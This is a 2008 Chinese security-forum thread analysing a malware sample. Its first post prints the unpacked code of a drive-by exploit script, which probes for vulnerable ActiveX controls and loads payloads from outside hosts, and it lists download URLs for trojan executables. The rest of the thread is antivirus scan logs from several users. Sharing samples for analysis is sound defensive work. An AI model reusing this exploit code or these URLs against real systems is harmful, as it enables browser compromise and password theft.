别的区挖的

promised

http://u.asdafdgfgf.com/ads.js
packed
解得

if(document.cookie.indexOf('OKSUN')==-1){try{var e;var ado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var as=ado.createobject("Adodb.Stream","")}catch(e){};finally{var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='OKSUN=SUN;path=/;expires='+expires.toGMTString();document.write("<script src=http://k.222360.com/6.gif><\/script>");if(e!="[object Error]"){document.write("<script src=http://k.222360.com/1.gif><\/script>")}else{try{var f;var storm=new ActiveXObject("MPS.StormPlayer")}catch(f){};finally{if(f!="[object Error]"){document.write("<script src=http://k.222360.com/2.gif><\/script>");document.write("<DIV style=\"CURSOR: url('http://k.222360.com/ads.c')\"></DIV>")}}try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1")}catch(g){};finally{if(g!="[object Error]"){document.write("<script src=http://k.222360.com/3.gif><\/script>");document.write("<DIV style=\"CURSOR: url('http://k.222360.com/ads.c')\"></DIV>")}}try{var h;var thunder=new ActiveXObject("DPClient.Vod")}catch(h){};finally{if(h!="[object Error]"){document.write("<script src=http://k.222360.com/4.gif><\/script>");document.write("<DIV style=\"CURSOR: url('http://k.222360.com/ads.c')\"></DIV>")}}try{var i;var yahoo=new ActiveXObject("GLCHAT.GLChatCtrl.1")}catch(i){};finally{if(i!="[object Error]"){document.write("<iframe style=display:none src=http://k.222360.com/5.gif></iframe>")}}try{var j;var obj=new ActiveXObject("BaiduBar.Tool")}catch(j){};finally{if(j!="[object Error]"){obj.DloadDS("http://k.222360.com/ads/ads.cab","ads.exe",0);document.write("<DIV style=\"CURSOR: url('http://k.222360.com/ads.c')\"></DIV>")}}if(f=="[object Error]"&&g=="[object Error]"&&h=="[object Error]"&&i=="[object Error]"&&j=="[object Error]"){document.write("<DIV style=\"CURSOR: url('http://k.222360.com/ads.c')\"></DIV>")}}}}

http://k.222360.com/ads/ads.cab
别的也都是重复的
下载http://222.216.28.25/ads/web.exe
粗看是盗号的

[ 本帖最后由 promised 于 2008-3-25 21:00 编辑 ]

Joker

4
deleted: Trojan program Trojan-Downloader.Win32.Small.gkm        File: C:\Documents and Settings\Administrator\×&Agrave;&Atilde;&aelig;\2.rar/ads.exe
deleted: virus Virus.Win32.Alman.a        File: C:\Documents and Settings\Administrator\×&Agrave;&Atilde;&aelig;\2.rar/web.exe//UPX
deleted: virus Virus.Win32.Alman.b        File: C:\Documents and Settings\Administrator\×&Agrave;&Atilde;&aelig;\2.rar/IsDrv122.sys
deleted: Trojan program Trojan-Downloader.Win32.Agent.erl        File: C:\Documents and Settings\Administrator\×&Agrave;&Atilde;&aelig;\2.rar/linkinfo.dll

aerbeisi

[Found Trojan]         <W32/Trojan2.QDP (exact, not disinfectable)>        c:\test\2.rar->ads.exe->(embedded)
[Found downloader]         <W32/Downldr2.AKBF (exact, not disinfectable)>        c:\test\2.rar->web.exe->(UPX)->(embedded)
[Found downloader]         <W32/Downldr2.AKBF (exact, not disinfectable)>        c:\test\2.rar->linkinfo.dll

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.DL.Win32.Small.gkm
病毒： Worm.Win32.Magistr.c     
病毒： Trojan.Win32.Undef.bs   
病毒： Trojan.Win32.Mnless.suk  

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.37.12

tanlimo

gaojun7206

2.rar
  2.rar:Zone.Identifier
    [0] Archive type: RAR
    --> ads.exe
        [DETECTION] Is the Trojan horse TR/Dldr.Small.gkm.1
        [WARNING]   Infected files in archives cannot be repaired!
    --> web.exe
        [DETECTION] Is the Trojan horse TR/Crypt.XDR.Gen
        [WARNING]   Infected files in archives cannot be repaired!
    --> IsDrv122.sys
        [DETECTION] Is the Trojan horse TR/Rootkit.Gen
        [WARNING]   Infected files in archives cannot be repaired!
    --> linkinfo.dll
        [DETECTION] Contains code of the Windows virus W32/Rectix.A
        [WARNING]   Infected files in archives cannot be repaired!
        [INFO]      The file was moved to '485af772.qua'!


End of the scan: 2008年3月25日  20:59
Used time: 00:07 min

The scan has been done completely.

      0 Scanning directories
      6 Files were scanned
      4 viruses and/or unwanted programs were found
      0 Files were classified as suspicious:
      0 files were deleted
      0 files were repaired
      1 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      2 Files not concerned
      1 Archives were scanned
      4 Warnings
      0 Notes

BING126

McAfee
ads.exe                       w32/almanahe                 
isdrv122.sys              w32/almanahe.sys.gen         
linkinfo.dll                   w32/almanahe.dll            
web.exe                       w32/almanahe.dr

The EQs

C:\Documents and Settings\Don johnson\桌面\2.rar » RAR » ads.exe - Win32/TrojanDownloader.Small.NXS trojan
C:\Documents and Settings\Don johnson\桌面\2.rar » RAR » web.exe - Win32/Alman.NAD virus
C:\Documents and Settings\Don johnson\桌面\2.rar » RAR » IsDrv122.sys - Win32/Alman.NAD virus
C:\Documents and Settings\Don johnson\桌面\2.rar » RAR » linkinfo.dll - Win32/Alman.NAD virus

挪威的冬天

信息        2008-03-25  22:28:18        您此次查毒清除了3个病毒                       
信息        2008-03-25  22:28:18        您此次查毒共查出3个病毒以及危险代码                       
信息        2008-03-25  22:28:18        您此次查毒共查了内存模块0个，磁盘引导扇区0个，文件6个                       
信息        2008-03-25  22:28:18        金山毒霸主程序查毒过程结束，查毒方式：命令行查毒                       
病毒        2008-03-25  22:28:18        D:\Desktop\2.rar\IsDrv122.sys        Win32.Troj.Alman.b.15872        清除成功       
病毒        2008-03-25  22:28:18        D:\Desktop\2.rar\web.exe        Win32.Troj.Alman.a.81920        清除成功       
病毒        2008-03-25  22:28:18        D:\Desktop\2.rar\ads.exe        Win32.TrojDownloader.Small.6656        清除成功

野马

微点